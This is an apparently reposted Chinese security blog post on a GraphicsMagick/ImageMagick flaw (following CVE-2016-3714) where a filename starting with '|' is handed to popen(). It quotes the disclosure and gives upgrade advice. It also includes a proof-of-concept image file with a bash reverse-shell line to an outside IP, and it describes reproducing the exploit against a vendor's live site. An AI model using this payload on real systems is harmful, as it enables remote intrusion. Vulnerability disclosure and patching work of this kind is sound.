ImageMagick popen()命令执行漏洞测试及修复
前几天wooyun以及朋友圈被ImageMagick的远程命令执行漏洞(CVE-2016–3714)给刷屏了,今天又爆出了ImageMagick的另外一处命令执行漏洞。
老外对漏洞的说明原文如下:
随手找了个wooyun上之前曝过漏洞的厂商,测试复现,如图:
修复建议:
mageMagick,下载高于7.0.1-6的版本
http://www.imagemagick.org/download/beta/GraphicsMagick,下载GraphicsMagick-1.3.24-1版本
ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/linux/
原文链接:
http://permalink.gmane.org/gmane.comp.security.oss.general/19669
All existing releases of GraphicsMagick and ImageMagick support a file open syntax where if the first character of the file specification is a '|', then the remainder of the filename is passed to the shell for execution using the POSIX popen(3C) function. File opening is handled by an OpenBlob() function in the source file blob.c. Unlike the vulnerability described by CVE-2016-3714, this functionality is supported by the core file opening function rather than a delegates subsystem usually used to execute external programs.GraphicsMagick、ImageMagick工具的所有版本都支持一种文件打开语法,当文件规范中的第一个字符是”|”的时候,文件名其余部分会传递给shell的popen()函数去执行,相关的代码在blob.c文件中的OpenBlob()函数中。 利用测试代码如下: push graphic-context viewbox 0 0 640 480 image copy 200,200 100,100 "|bash -i >& /dev/tcp/215.1.2.3/1234 0>&1" pop graphic-context 将以上内容保存成.jpg格式,用convert命令本地测试,可以反弹shell成功。如图:
随手找了个wooyun上之前曝过漏洞的厂商,测试复现,如图:
修复建议:
mageMagick,下载高于7.0.1-6的版本
http://www.imagemagick.org/download/beta/GraphicsMagick,下载GraphicsMagick-1.3.24-1版本
ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/linux/
原文链接:
http://permalink.gmane.org/gmane.comp.security.oss.general/19669关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平同马克龙交流互动的经典瞬间 7904837
- 2 黑龙江水库冰面下现13匹冰冻马 7808671
- 3 微信表情包戒烟再度翻红 7713694
- 4 2025你的消费习惯“更新”了吗 7617811
- 5 三星堆与秦始皇帝陵竟有联系 7520104
- 6 为啥今年流感如此厉害 7426803
- 7 劲酒如何成了年轻女性的神仙水 7331446
- 8 2025爱奇艺尖叫之夜 7234759
- 9 女子裤子内藏2斤多活虫入境被查 7143267
- 10 中疾控流感防治七问七答 7040662







HackerEye
